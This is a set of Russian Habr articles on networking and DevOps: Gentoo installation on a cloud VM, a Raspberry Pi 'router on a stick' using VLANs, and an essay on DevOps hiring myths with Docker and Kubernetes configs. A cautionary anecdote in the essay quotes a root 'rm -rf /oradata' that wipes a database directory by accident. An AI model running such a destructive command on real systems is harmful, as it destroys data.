> to 10.0.0.6 via reth1.2
[Static/5] 1d 07:30:26
> to 10.0.0.2 via reth1.1
```
При восстановлении соединения через ISP1 тест снова переходит в состояние PASS и убирает запись из таблицы маршрутизации.
Обращаю внимание, что конфигурация должна быть зеркальной для обоих устройств.
Если статических маршрутов несколько, их можно добавлять новыми строками then. Условий также может быть несколько, это достаточно гибкий метод.
Всем спасибо, надеюсь, это сэкономит кому-то время. | https://habr.com/ru/post/348936/ | null | ru | null |
# Облако selectel — не помеха для запуска Gentoo
Сегодня ночью попробовал установить Gentoo в виртуальной машине selectel.ru.
Для начала надо зарегистрироваться и создать виртуалку с какой-нибудь осью.
Для тестов выбрал Debian mini.
После создания, подключаю еще один жесткий диск, размером как минимум 2Gb.
Создаем на нем разделы, форматируем.
При форматировании необходимо учесть, что в стандартной конфигурации (stage3+portage) очень много мелких файлов, по этому inode могут закончиться быстрее, чем место на диске. По дефолту, на 1.9 gb их получается 125568, этого не хватит, что бы распаковать stage3 и portage.
Форматируем раздел размером 1.9 gb:
`mkfs.ext3 -i 8192 /dev/xvda1` — получаем 251136 inode
`mkfs.ext3 -i 4096 /dev/xvda1` — получаем 502272 inode
Далее нужно настроить конфиги согласно handbook, с существующей системы списать настройки ip, nfs шару для модулей ядра.
Устанавливать ядро и бутлоадер необходимости нет, по этому все что нужно — это поставить syslog, cron, logrotate, nfs-utils.
Не забыть включить в автозагрузку sshd.
Так же желательно добавить новую «физическую» консоль xvc0 в inittab и securetty.
Далее нужно получить в саппорте xen-tools и memory-on-demand, положить их в файловую систему и написать скрипты их автозапуска.
По производительности (выбранный профиль: 1 cpu, 130-310 mb ram), удивила скорость выполнения emerge --sync, оно отработало секунд за 10, такого я еще не видел.
Сама компиляция идет с обычной скоростью, 13 пакетов собрались за 6-7 минут.
По цене/затратам ресурсов вся установка обошлась чуть дешевле 2 рублей.
Сделал таблицу, как и в какие моменты происходило списание средств:
| Name | Машинное время | Memory | Disk: ReadIO | Disk: WriteIO | Disk:Read | Disk: Write | Net: receive | Net: send | Списано | Итого |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | руб. | час. | руб. | Гб \* час. | руб. | млн. шт. | руб. | млн. шт. | руб. | Гб | руб. | Гб | руб. | Гб | руб. | Гб | руб. | руб. |
| 1 | 0,02 | 0,02 | 0,02 | 0,04 | 0,16 | 0,048 | 0,20 | 0,06 | 0,11 | 1,1 | 0,10 | 1 | 0,01 | 0,05 | 0 | 0 | 0,62 | 0,62 |
| 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0,01 | 0,003 | 0 | 0 | 0,01 | 0,1 | 0,02 | 0,1 | 0 | 0 | 0,04 | 0,66 |
| 3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0,66 |
| 4 | 0 | 0 | 0,01 | 0,02 | 0 | 0 | 0 | 0 | 0 | 0 | 0,01 | 0,1 | 0,01 | 0,05 | 0 | 0 | 0,03 | 0,69 |
| 5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0,69 |
| 6 | 0,01 | 0,01 | 0 | 0 | 0,02 | 0,006 | 0,15 | 0,045 | 0,02 | 0,2 | 0,11 | 1,1 | 0,03 | 0,15 | 0 | 0 | 0,34 | 1,03 |
| 7 | 0 | 0 | 0 | 0 | 0 | 0 | 0,09 | 0,027 | 0 | 0 | 0,03 | 0,3 | 0 | 0 | 0 | 0 | 0,12 | 1,15 |
| 8 | 0,01 | 0,01 | 0,02 | 0,04 | 0,08 | 0,024 | 0,01 | 0,003 | 0,01 | 0,1 | 0,01 | 0,1 | 0 | 0 | 0 | 0 | 0,14 | 1,29 |
| 9 | 0,17 | 0,17 | 0,01 | 0,02 | 0,05 | 0,015 | 0,03 | 0,009 | 0,02 | 0,2 | 0,02 | 0,2 | 0 | 0 | 0,01 | 0,01 | 0,31 | 1,60 |
| 10 | 0,03 | 0,03 | 0 | 0 | 0,03 | 0,009 | 0,01 | 0,003 | 0,02 | 0,2 | 0,01 | 0,1 | 0 | 0 | 0 | 0 | 0,10 | 1,70 |
Легенда:
1. После создания виртуалки и ее старта
2. ставим на debian bzip2
3. скачиваем stage3
4. распаковывыем stage3
5. скачиваем portage
6. распаковываем portage
7. emerge --sync
8. Конфигурирование
9. emerge syslog (13 packages)
10. emerge logrotate (4 package)
Выключаем виртуалку.
После этого специалисты selectel поменяли, какой из образов диска будет системным и можно загружаться в Gentoo.
Сводобное место на диске:
`Filesystem 1K-blocks Used Available Use% Mounted on
/dev/xvda1 1882348 1305368 476576 74% /`
Свободные inode:
`Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/xvda1 502272 184045 318227 37% /`
Кусочек топа:
список процессов после перезагрузки
[pastebin.com/5eqpGizB](http://pastebin.com/5eqpGizB) | https://habr.com/ru/post/110978/ | null | ru | null |
# Raspberry Pi в роли роутера с единственным сетевым интерфейсом
Сразу скажу, что эта статья предназначена для обычных пользователей и для тех, для кого сетевые технологии — это хобби.
[](https://habr.com/ru/company/ruvds/blog/582486/)
Если вам нужен собственный домашний роутер — отличной аппаратной платформой для него может стать Raspberry Pi 4 Model B. Более старые модели Raspberry Pi отличаются значительными ограничениями в плане поддерживаемой ими скорости передачи данных по сети. Эти ограничения столь велики, что они не подойдут для создания интернет-роутеров в том случае, если скорость доступа к интернету превышает 100 Мбит/с.
Итак, одноплатный компьютер Raspberry Pi 4 Model B устроит нас по следующим причинам:
1. Он относительно недорог.
2. Он достаточно быстр.
3. Он может хорошо нагрузить работой свой гигабитный сетевой интерфейс.
4. Он энергоэффективен.
Главной его проблемой, похоже, является тот факт, что у него есть только один сетевой интерфейс. А если создают роутер, то таких интерфейсов нужно как минимум два:
1. Первый интерфейс подключают к модему или роутеру, дающему доступ в интернет (идеально — в режиме моста).
2. Второй интерфейс подключают к домашней сети (возможно — к коммутатору).
В результате, если роутер создают на базе Raspberry Pi, то, вероятнее всего, докупят к нему USB3-сетевую карту за примерно $20, после чего проект будет завершён.
*Raspberry Pi в роли коммутатора с двумя сетевыми интерфейсами*
А что если я скажу вам, что то же самое можно сделать, воспользовавшись единственным встроенным сетевым интерфейсом Raspberry Pi 4?
Как это возможно?
Знакомство с VLAN
-----------------
Я, как видите, знакомлю читателей с технологией, которая [существует с 1990-х годов](https://en.wikipedia.org/wiki/Virtual_LAN). Она широко используется в корпоративной среде.
И, так как у меня есть такое ощущение, что эта технология не особенно широко известно в кругах людей, далёких от администрирования корпоративных сетей, я думаю, что тему VLAN вполне можно тут обсудить.
Что такое VLAN?
---------------
Технология VLAN (Virtual Local Area Network, виртуальная локальная компьютерная сеть) позволяет создавать различные, отделённые друг от друга сети, используя одну и ту же физическую линию связи и один и тот же коммутатор. Это помогает сильно сократить количество проводных соединений и количество физических коммутаторов, необходимых в том случае, если в одном и том же месте нужно развернуть несколько отделённых друг от друга сетей.
Если вы хотите пропустить трафик разных сетей по одному и тому же кабелю или через один и тот же коммутатор — как идентифицировать разные потоки трафика?
При использовании технологии VLAN сетевые «пакеты» помечают с использованием тегов. Так как эта технология работает на уровне Ethernet, правильнее будет говорить не о «пакетах», а об «Ethernet-кадрах». Но я полагаю, что детали терминологии не особенно важны для понимания сути рассматриваемой технологии.
Тут достаточно понимать, что имеются теги, находящиеся перед Ethernet-кадрами. Эти теги сообщают устройствам, поддерживающим VLAN, о том, к какой именно сети принадлежит кадр, и, в результате, пакет, передаваемый по сети.
При таком подходе потоки трафика разных сетей можно легко отличить друг от друга. А в вышеупомянутых тегах нет ничего особенно интересного. Они называются VLAN ID и представляют собой всего лишь числа в диапазоне от 1 до 4096. Отмечу, что большинство недорогих коммутаторов могут поддерживать, самое большее, что-то в районе 32-64 VLAN. Лишь более дорогое, корпоративное оборудование, может похвастаться одновременной поддержкой 4096 VLAN. Но в нашем случае это, вероятно, значения не имеет.
Управляемый коммутатор
----------------------
Теперь, когда мы разобрались с тем, что такое VLAN, подумаем о том, как нам воспользоваться этой технологией.
Для начала нам понадобится управляемый сетевой коммутатор, который поддерживает VLAN.
Самый дешёвый коммутатор с поддержкой VLAN, который мне удалось найти — это TP-LINK TL-SG105E, который стоит что-то около $25. Это — 5-портовый коммутатор, но, например, его 8-портовая версия, обычно, всего лишь на несколько долларов дороже этой.
Один из читателей отметил в комментариях к этому материалу, что этот коммутатор TP-LINK, возможно, не сможет обработать большое количество ARP-запросов, которые могут приходить на порт, подключённый к интернет-модему. В [дискуссии на Hacker News](https://news.ycombinator.com/item?id=28696845) этому роутеру тоже досталось немало негатива. Но я не знаю, будут ли коммутаторы Netgear, которые стоят почти столько же, значительно лучше того коммутатора, что выбрал я.
У подобных коммутаторов имеется веб-интерфейс, который позволяет настраивать VLAN прямо на устройстве.
Тегированный и нетегированный трафик
------------------------------------
Если говорить о VLAN, то сетевой порт коммутатора может пребывать в двух состояниях:
1. Он может являться членом какой-то конкретной сети (VLAN) (нетегированный порт).
2. Он может отвечать за передачу трафика нескольких сетей (VLANs) (тегированный порт).
Если порт является членом VLAN — он ведёт себя как любой другой порт коммутатора. В этом режиме он, очевидно, может являться членом лишь одной сети/VLAN. Теги VLAN убирают из всего трафика, который исходит из этого порта.
Но порт, который предназначен для передачи «тегированного» VLAN-трафика, просто занимается перенаправлением этого трафика в том виде, в котором он его получает, в том числе — ничего не происходит и с VLAN-тегами.
Это — та самая хитрость, которую мы используем для передачи сетевых пакетов из разных сетей (VLANs) нашему Raspberry Pi-роутеру через единственный порт по единственному кабелю.
*Raspberry Pi в роли коммутатора с одним сетевым интерфейсом*
Давайте разберём эту схему.
Представим, что (возвращающийся) пакет из интернета прибывает на модем и передаётся на порт коммутатора 1.
Коммутатор знает о том, что любой трафик на этом порту принадлежит VLAN 10. Так как этот трафик надо отправить Raspberry Pi-роутеру, коммутатор добавит в пакет тег и перенаправит пакет (с тегом) Raspberry Pi — на порт коммутатора 2.
А Raspberry Pi-роутер, в свою очередь, тоже, как и коммутатор, настроен на работу с VLAN. Тег пакета сообщит роутеру о том, на какой виртуальный интерфейс нужно отправить этот пакет.
Вот пример конфигурации утилиты netplan, иллюстрирующий вышеописанную схему:
```
network:
version: 2
ethernets:
enp2s0f0:
dhcp4: no
vlans:
enp2s0f0.10:
id: 10
link: enp2s0f0
addresses:
- 68.69.70.71/24 (ненастоящий интернет-адрес)
gateway4: 68.69.70.1 (ненастоящий роутер провайдера)
enp2s0f0.20:
id: 20
link: enp2s0f0
addresses:
- 192.168.0.1/24 (внутренний сетевой адрес, работающий как шлюз)
```
Как видите — VLAN-пакеты, которые прибывают в виде тегированных пакетов, отправляются (без тегов) на виртуальный сетевой интерфейс, принадлежащий этой конкретной сети. Все эти виртуальные сетевые интерфейсы пользуются единым физическим интерфейсом (enp2s0f0). Виртуальные сетевые интерфейсы — это всего лишь имя физического интерфейса, к которому добавлена конструкция вида «.(VLAN ID)».
С этого момента вы, вероятно, уже поняли, к чему я клоню: эти два виртуальных сетевых интерфейса, в общем-то, очень похожи на роутер с двумя физическими сетевыми интерфейсами. В результате все необходимые операции по маршрутизации и по трансляции сетевых адресов, которые должны быть выполнены, выполняются не с применением физических интерфейсов, а с применением интерфейсов виртуальных.
Как работать с VLAN
-------------------
Для того чтобы работать с VLAN нужен управляемый коммутатор, поддерживающий VLAN. У такого коммутатора имеется интерфейс управления, часто это — веб-интерфейс.
В данном примере я использую коммутатор TP-LINK TL-SG105E. Для того чтобы добраться до нужной мне страницы, я, в веб-интерфейсе устройства, прошёл по пути VLAN --> 802.1Q VLAN
Из этой таблицы мы можем извлечь следующие сведения:
* Порт 1 — это нетегированный член VLAN 10.
* Порт 2 — это тегированный член VLAN 10 и VLAN 20.
* Порт 3 — это нетегированный член VLAN 20.
Обратите внимание на то, что рекомендуется удалять порты из VLAN, которые их не используют. В результате я убрал порты 1, 2 и 3 из стандартной сети VLAN 1.
Теперь, если к внутренней LAN через этот же коммутатор будет подключено больше устройств, нужно будет сделать соответствующие порты нетегированными членами VLAN 20.
Возможные проблемы
------------------
### ▍Ограничение полосы пропускания сети
Очевидно, что если используется единственный интерфейс, то в нашем распоряжении оказывается лишь пропускная способность этого интерфейса. В большинстве случаев это — не проблема, так как гигабитный Ethernet работает в полнодуплексном режиме. Имеются физические соединения и для исходящего, и для входящего трафика.
В результате можно сказать, что полнодуплексное гигабитное Ethernet-соединение имеет непосредственную пропускную способность, равную 2 Гбит/с. Но мы, в основном, не рассматриваем подобные соединения с такой точки зрения.
Например, если мы, с компьютера, загружаем что-то на скорости в 200 Мбит/с, то этот трафик поступает к нам через VLAN 10 по пути входящего трафика. Затем он переправляется через VLAN 20 к компьютеру с использованием пути исходящего трафика. В результате тут никаких проблем не возникает.
Если планируется использовать Raspberry Pi ещё и как сервер резервного копирования данных (с подключённым к плате внешним жёстким диском), то трафик резервного копирования и интернет-трафик могут «бороться» за полосу пропускания одного и того же гигабитного интерфейса.
### ▍Воздействие на гигабитное интернет-подключение
Если вы сделаете себе такой маршрутизатор, о котором я тут рассказал, вы никогда не получите на нём полную скорость, характерную для гигабитного интернет-канала. Максимум, на который можно рассчитывать, вероятно, находится в районе 900 Мбит/с. (Тут я исхожу из предположения о том, что вы будете использовать x86-устройство, так как Raspberry Pi, в любом случае, не сможет, например, работать с таким трафиком в режиме файрвола).
Дело в том, что основной объём трафика связан с TCP-соединениями. Когда осуществляется загрузка каких-то материалов, данные передаются в обе стороны! Загружаемые данные — это основной трафик, но есть ещё и заметный постоянный поток данных, состоящий из пакетов, возвращающихся в интернет и сообщающих передающей стороне о том, что некие данные получены принимающей стороной (если принимающая сторона не получит подтверждения — данные будут отправлены повторно).
Помните о том, что, в нашей однопортовой системе, Raspberry Pi использует один и тот же гигабитный порт и для отправки данных в интернет через VLAN 10, и для приёма данных из интернета через VLAN 20. В результате поток трафика, идущего от вас в интернет, будет ограничивать максимально возможную скорость загрузки данных.
### ▍Raspberry Pi 4 Model B в роли роутера
Главное ограничение Raspberry Pi 4 Model B, которое становится проблемой для всё большего и большего количества людей — это производительность. Если вы используете IPTABLES в Linux для организации файрвола, то, по опыту знаю, пропускная способность сети падает, и составляет, максимум, 650 Мбит/с.
Но это можно счесть проблемой только в том случае, если используется гигабитный доступ в интернет, или если скорость обмена данными с интернетом превышает ту, с которой может справиться Raspberry Pi.
Если же ваша скорость подключения к интернету и близко не подходит к гигабитной — то вас эта проблема не коснётся.
Возможно, для создания маршрутизаторов, подобных вышеописанному, лучше подойдёт Raspberry Pi 400 или платформы, представленные вычислительными модулями, так как их процессоры быстрее, чем у Raspberry Pi 4 Model B.
Да, из дискуссии на Hacker News я узнал о том, что роутер с одним сетевым интерфейсом называют «[router on a stick](https://en.wikipedia.org/wiki/Router_on_a_stick)».
Итоги
-----
Стоит ли вам собирать описанный здесь Raspberry Pi-роутер — зависит только от вас. Я пользуюсь чем-то подобным (применяя x86-сервер) уже лет 10, так как не могу провести второй кабель от модема до комнаты, где находится роутер. [Вот](https://louwrentius.com/my-home-network-setup-based-on-managed-switches-and-vlans.html) как устроена моя домашняя сеть.
Пользуетесь ли вы домашними роутерами?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=raspberry_pi_v_roli_routera_s_edinstvennym_setevym_interfejsom) | https://habr.com/ru/post/582486/ | null | ru | null |
# Свидетели DevOps: мифы и байки про девопсов и тех, кто их нанимает
Те, кто решил стать девопсом, видят в этой профессии заманчивые перспективы. Это новый уровень мышления, это творчество и возможность создавать, это безграничные просторы для самосовершенствования. Не секрет также, что девопсам хорошо платят. Вместе с тем, вокруг понятия DevOps сформировался некий культ, овеянный мифами и легендами.
Вот уже несколько лет я набираю на работу девопсов. Путеводная звезда приводила к нам в компанию разных соискателей, в том числе весьма курьезных: от программистов микроконтроллеров до арт-директора, который после 40 вдруг узрел новое призвание. Был даже студент-африканец, который едва говорил по-русски, но уже сделал головокружительную карьеру ростовой куклы, распугивающей пассажиров у выхода из метро. Но за анекдотическими ситуациями кроется главная проблема: по-настоящему квалифицированные люди – это крупицы и большая редкость.
На эту тему было уже немало публикаций, но острота темы не отпускает. Под катом я поделюсь своими наблюдениями о том, какие типовые ошибки совершают и кандидаты, и практикующие девопсы, а также расскажу, что следует делать их по-разному везучим работодателям. Не обошлось и без злобных баек.
### Трудности перевода
Справедливости ради оговорюсь, что DevOps – это не название профессии, а методология. Она описывает набор подходов и практик, которые помогают командной разработке. Но штампы преследуют нас повсюду. И вот уже не режет слух, когда уважаемый заказчик, представляя свою команду на установочном звонке, говорит: «А это Антон, наш девопс». Знакомьтесь, DevOps. Человек и пароход.
Помню, как в институтские годы мой школьный друг, поселившись в общаге, отгонял соседа по комнате от компа, кидаясь в него консервированной килькой и негромко приговаривая, что программистов нельзя подпускать к технике, так как они ее неизбежно ломают. В этой очаровательной бытовой зарисовке отражен давний конфликт, когда разработчик во всем винит окружение, а эксплуатация – кривой код.
Поэтому девопс в классической интерпретации – это либо программист, который стал админить, либо админ, который начал программировать. Это если уж совсем просто. Его задача – выступить связующим звеном между двумя лагерями, привнести в их работу синергию и тем самым сберечь запасы кильки и других ценных промысловых пород.
Однако, девопс девопсу рознь. И кажется, что девопс стал эдаким расхожим понятием, которое подменило нынче массу остальных профессий.
### Байка про хромого девопса
Недавно нас позвали на помощь в один проект, где стояла, на первый взгляд, простая задача. Web-приложение работало через web-сокеты, но было развернуто внутри периметра, а на фронте стоял ISPManager, который в качестве reverse proxy использовал apache. Юный девопс, работавший в этом проекте, перепробовал все примеры конфига апача, которые нашел в Гугле, и вконец разочаровавшись в его поисковых способностях, перешел уже было к Яндексу, но тут менеджер проекта забил тревогу. На задачу к тому моменту было потрачено 72 часа. 72 часа, Карл! Кто вам сказал, что методология DevOps ускоряет разработку и сокращает time-to-market? ;)
К сожалению, я и мои коллеги все чаще замечаем, что новоиспеченные девопсы имеют довольно туманные представления об устройстве операционной системы, а навыки ее администрирования и траблшутинга оставляют желать лучшего. Не зная как следует матчасть, такой специалист, оказавшись в нештатной ситуации, быстро превращается в вареную морковку и разводит руками, пораженный чувством беспомощности. Клянет неизвестные баги, ссылается на мистику и чудовищное стечение обстоятельств.
Согласитесь, чтобы говорить на иностранном языке, недостаточно изучить только слова. В любом языке есть еще и правила – грамматические, лексические, стилистические. Более того, основу языка составляют уважаемые буквы. Практики DevOps – своего рода тоже язык, где работает та же логика. Недостаточно просто освоить модные инструменты. Без технической и концептуальной подготовки они рискуют просто оказаться микроскопом, которым колют орехи.
Но я не хочу возлагать всю вину только на ребят, так как у любой проблемы, как водится, причин много. Это и обилие технологий, и скорость, которая требуется в их освоении и применении, и тот самый кадровый дефицит. Многие осознают белые пятна в своих знаниях, но не находят времени и сил их целенаправленно закрывать. Для таких мы, кстати, запустили [целый курс](http://croc.global/devopsfuture) – будет полезно и тем, кто только грезит о новой профессии, и тем, кто уже попробовал свои силы, но чувствует, что нехватка основ мешает развиваться уверенно.
### Про технологии
DevOps – это про культуру и философию совместной работы, но с этим понятием также сопряжен определенный технологический стек. Скорее всего я не ошибусь, если скажу, что какие-нибудь NetApp, Cisco, AIX или MS SQL воспринимаются как старый добрый олдскул (хотя это не совсем так, и классические вендоры делают гигантские шаги в новом направлении), а вот, скажем, Docker, Ansible, Jenkins и Prometheus в нашем сознании прочно ассоциируются с DevOps, SRE и новыми веяниями.
Но каким бы ни был стек, каждым инструментарием нужно владеть, разбираясь в его сути и основах. Делая настройку, нужно знать не только, что надо сделать, но и почему надо сделать так, и что будет, если сделать не так, а иначе.
Найти в гугле пример и скопипастить его к себе – еще один легкий путь отхватить проблем. Типичный пример – тюнинг и оптимизация сети и ядра через параметры sysctl. Конфиг, который удачно сработал для кого-то в интернете, не является волшебной пилюлей для любой другой системы. Как минимум, надо разобраться, что каждая директива значит. Может в вашей версии ядра она вообще deprecated.
И отдельная боль – это сеть. В сети надо разбираться, владеть инструментами диагностики. Сеть не зависит от платформы, она есть везде и напрямую (а порой больно) влияет на работоспособность и производительность всего остального. Когда человек, грезящий себя девопсом, наивно полагает, что надо установить свежую версию Kibana, потому что она умеет конвертировать адреса IPv6 в IPv4 – это звучит как анекдот. Но потом он, например, берет и орудует с сетью вот так:
или вот так:
Дальше хочу немного заострить внимание на двух технологиях, которые почти стали синонимами DevOps.
### А давайте-ка все распилим на микросервисы, засунем в Docker и запустим в Kubernetes
Идея микросервисов прекрасна и выражается в том, чтобы программа перестала быть неповоротливым монстром, а превратилась в набор слабосвязанных компонентов, каждый из которых можно развивать отдельно. А вместе они взаимодействуют посредством унифицированных вызовов. Людей, изможденных поддержкой и обновлением монолита, микросервисная архитектура вдохновляет тревожной надеждой, что вот наконец-то судьба поспешила им на выручку.
Но не все следует доводить до маразма, даже если это увлекательно. Недавно моей команде на попечение был передан проект разработки мобильного приложения, в котором до нас один одаренный девопс настроил деплой бэкэнда на тестинг и продакшн, а затем от греха подальше уволился. Бэкэнд, по сути, представлял собой приложение на python, упакованное в один единственный контейнер. И этот одинокий контейнер исполнятся на одном физическом хосте. Мы читали путанный многоэтажный Dockerfile и искренне недоумевали, зачем все это надо было вообще совать в контейнер. Точнее, в контейнере ему и место, но не в этом.
Пока мы переваривали увиденное, в соседнем проекте разворачивалась новая драма. Этот же товарищ оставил после себя несколько обреченных проектов, но в этом размах был самым масштабным. Почерк автора угадывался повсюду среди двух десятков виртуалок: все в контейнерах, контейнеры случайным образом раскиданы по хостам, где-то живут в одиночку, но даже там, где они как-то совмещены, особой логики не просматривалось. Ребилд контейнера представляет собой варварскую бойню, когда затирается все, что установлено локально, а в конце с нуля воссоздается все окружение и празднично приезжает образ версии latest.
Вот, кстати, символичный фрагмент одного из скриптов по деплою:
Хорошо, что мы не дали запустить это в прод, так как не нашли в этой малопонятной архитектуре ни одного сервиса, который можно было бы безболезненно передернуть, не положив весь конечный функционал.
Хочу также на полях заметить, что микросервисная архитектура совсем не обязательно означает контейнеры. Просто контейнеры оказались удобной портативной упаковкой для этих модулей.
А про кубер вспоминается недавно гулявший [ролик](https://youtu.be/LeVULLqWwcg), где старый фильм озвучили новыми словами:
> - А у вас есть kubernetes?
>
> - Да, конечно, ну как у всех! Как полагается.
>
> - А зачем?
>
> - Ну как это зачем? Это же…
>
>
Дальше следует немая сцена, гримаса ужаса и спустя некоторое время человек, вероятно, идет топиться.
Я считаю себя евангелистом подхода Infrastructure as Code (IaC). Мне спокойно только тогда, когда продукт не просто освоен, а когда его развертывание и настройка автоматизированы. Специально не добавляю слово «документированы», потому что декларативный характер инструментов IaC – что приятно – во многом порождает автодокументируемый код.
Кубер в этом смысле – апофеоз описательного подхода к управлению сервисами. Но надо понимать, что закатить свой приклад в кубер потребует немало усилий и времени, которые кратно превышают трудозатраты для развертывания в классическом окружении. И для кубера должны быть веские причины.
Для иллюстрации пример, который подвернулся на скорую руку – это варианты, как можно запустить телеграм-бот для Alertmanager (взято [отсюда](https://github.com/metalmatze/alertmanager-bot)).
Просто через docker run:
docker run`docker run -d \`
`-e 'ALERTMANAGER_URL=http://alertmanager:9093' \`
`-e 'BOLT_PATH=/data/bot.db' \`
`-e 'STORE=bolt' \`
`-e 'TELEGRAM_ADMIN=1234567' \`
`-e 'TELEGRAM_TOKEN=XXX' \`
`-v '/srv/monitoring/alertmanager-bot:/data' \`
`--name alertmanager-bot \`
`metalmatze/alertmanager-bot:0.4.3`
С помощью docker-compose
docker-compose`networks:`
`alertmanager-bot: {}`
`services:`
`alertmanager-bot:`
`command:`
`- --alertmanager.url=http://localhost:9093`
`- --log.level=info`
`- --store=bolt`
`- --bolt.path=/data/bot.db`
`environment:`
`TELEGRAM_ADMIN: "1234"`
`TELEGRAM_TOKEN: XXXXXXX`
`image: metalmatze/alertmanager-bot:0.4.3`
`networks:`
`- alertmanager-bot`
`ports:`
`- 8080:8080`
`restart: always`
`volumes:`
`- ./data:/data`
`version: "3"`
А вот тот же сервис в Kubernetes
кубер`apiVersion: v1`
`items:`
`- apiVersion: v1`
`data:`
`admin: MTIzNA==`
`token: WFhYWFhYWA==`
`kind: Secret`
`metadata:`
`labels:`
`app.kubernetes.io/name: alertmanager-bot`
`name: alertmanager-bot`
`namespace: monitoring`
`type: Opaque`
`- apiVersion: v1`
`kind: Service`
`metadata:`
`labels:`
`app.kubernetes.io/name: alertmanager-bot`
`name: alertmanager-bot`
`namespace: monitoring`
`spec:`
`ports:`
`- name: http`
`port: 8080`
`targetPort: 8080`
`selector:`
`app.kubernetes.io/name: alertmanager-bot`
`- apiVersion: apps/v1`
`kind: StatefulSet`
`metadata:`
`labels:`
`app.kubernetes.io/name: alertmanager-bot`
`name: alertmanager-bot`
`namespace: monitoring`
`spec:`
`podManagementPolicy: OrderedReady`
`replicas: 1`
`selector:`
`matchLabels:`
`app.kubernetes.io/name: alertmanager-bot`
`serviceName: alertmanager-bot`
`template:`
`metadata:`
`labels:`
`app.kubernetes.io/name: alertmanager-bot`
`name: alertmanager-bot`
`namespace: monitoring`
`spec:`
`containers:`
`- args:`
`- --alertmanager.url=http://localhost:9093`
`- --log.level=info`
`- --store=bolt`
`- --bolt.path=/data/bot.db`
`env:`
`- name: TELEGRAM_ADMIN`
`valueFrom:`
`secretKeyRef:`
`key: admin`
`name: alertmanager-bot`
`- name: TELEGRAM_TOKEN`
`valueFrom:`
`secretKeyRef:`
`key: token`
`name: alertmanager-bot`
`image: metalmatze/alertmanager-bot:0.4.3`
`imagePullPolicy: IfNotPresent`
`name: alertmanager-bot`
`ports:`
`- containerPort: 8080`
`name: http`
`resources:`
`limits:`
`cpu: 100m`
`memory: 128Mi`
`requests:`
`cpu: 25m`
`memory: 64Mi`
`volumeMounts:`
`- mountPath: /data`
`name: data`
`restartPolicy: Always`
`volumes:`
`- name: data`
`persistentVolumeClaim:`
`claimName: data`
`volumeClaimTemplates:`
`- apiVersion: v1`
`kind: PersistentVolumeClaim`
`metadata:`
`labels:`
`app.kubernetes.io/name: alertmanager-bot`
`name: alertmanager-bot`
`namespace: monitoring`
`spec:`
`accessModes:`
`- ReadWriteOnce`
`resources:`
`requests:`
`storage: 1Gi`
`storageClassName: standard`
`kind: List`
Если решение все же принято, вам предстоит перелопатить горы документации, написать тонны yaml-a, мучительно искать, где пропущен отступ, по 10 раз пересобирать контейнеры. И в этом момент вы еще и не знаете, что через пару недель пройдете новый круг ада, подстраивая ваш деплоймент под Pod Security Policy и разные энтерпрайзные фичи. Конечно, когда вы это дотащите до конца, вы получите красивый сервис, который легко скейлится, автоматически перезапускается при сбоях, который можно обновлять, используя, например, канареечные релизы или какой-нибудь blue-green deployment.
Но все же я хочу подчеркнуть - это нужно не везде и не всегда. Вместо того, чтобы слепо идти за зовом моды, нужно трезво оценивать баланс усилий и пользы. Девопсы, в том числе трушные, нередко имеют свойство увлекаться технологическом изяществом, благодаря чему постоянно создают на своем пути искусственные трудности, которые потом же мужественно преодолевают.
### Автоматизация как истинный путь джедая
Наши бэкапшики помнят один случай, как сотрудник заказчика собирался в консоли что-то удалить – то ли ненужный симлинк, то ли копию конфига. А его то и дело дергали. По воле случая в один момент так сошлось, что товарищ успел набрать rm -rf /oradata, работая от рута, потом чихнул, что в свою очередь пробудило в его организме рута позывы на исход жидкости, а по дороге обратно он зацепился языками с товарищами. Когда он вернулся на рабочее месте, его экран спал. Не будучи в силах терпеть проделки этого вечно дремлющего устройства и дабы преподнести ему урок бодрости, товарищ решительно разбудил его точным ударом в Enter. В общем, когда все делаешь руками, нелепые вещи случаются сплошь и рядом.
Автоматизацию я считаю главной чертой современных подходов к управлению ИТ. Только автоматизация помогает действительно сократить время, которое обычно тратится на рутинные, повторяющиеся задачи, и только она может минимизировать влияние человеческого фактора.
Самое плохое в автоматизации – это время, которое надо на нее потратить. И самое хорошее в ней – тоже время, которое она впоследствии высвобождает. Например, пару лет назад нам потребовалось в нашем облаке IaaS развернуть инфраструктуру под нового e-commerce заказчика. Архитектура проекта: кластер БД, пул серверов приложений, распределенное хранилище, слой кэширования, сетевые балансировщики, WAF, ну и стандартная обвязка в виде телеметрии, СРК и сбора логов с визуализацией. Конечно, виртуальные машины мы давно создавали при помощи terraform, благо под наше облако можно использовать AWS-провайдер, так как мы по API совместимы. Программные компоненты и раньше ставили через ansible, и опыт настройки всего по отдельности, в общем, был. Но мы задались целью описать инфраструктуру проекта в виде единого пайплайна. На это ушло время, ну и до сих пор части этой автоматизации совершенствуются, так как еще много где были нами после переиспользованы.
Когда нам позже подвернулся аналогичный проект, различия описывались на уровне файла ответов. Мы развернули проект за 2 дня, причем большую часть времени занял перенос данных. В Gitlab CI запускался pipeline, который заполнял переменные для terraform, который затем запускался runner-ом. Тот создавал в облаке сети, диски и ВМ. ВМ запускались с cloud-init, который ставил внутрь puppet agent, который после старта связывался с foreman, забирал настройки для своей роли и деплоил все ПО. Через service discovery подключался мониторинг всех служб, везде встал и настроился filebeat, а бакап полился в S3. Voila! Все быстро и четко, без ошибок и ручных тестов на каждом шаге.
По нашим многолетним наблюдениям основные беды уже развернутых систем в основном сводятся к небольшому, довольно банальному списку причин. На борьбу с этими бедами расходуется много ресурсов, оттягивая их от куда более важных дел. Мы даже стали замечать, что крупный бизнес, пытаясь отгородить своих ценных гиков-девопсов от этого скучного труда, стал передавать такие задачи на аутсорс.
Вместе с тем, выполнение следующих правил способно практически нивелировать эффект самозагнивания (когда ломается само по себе с течением времени). Для этого нужно:
* осмысленный сайзинг ресурсов;
* отдельные точки монтирования (отдельный диск/раздел) под данные приложений и все, что может быстро пухнуть;
* синхронизацию времени по ntp;
* переход на использование ключей вместо паролей в ssh;
* настроить ротацию **всех** логов;
* иметь автоматический механизм обновления протухающих SSL-сертификатов
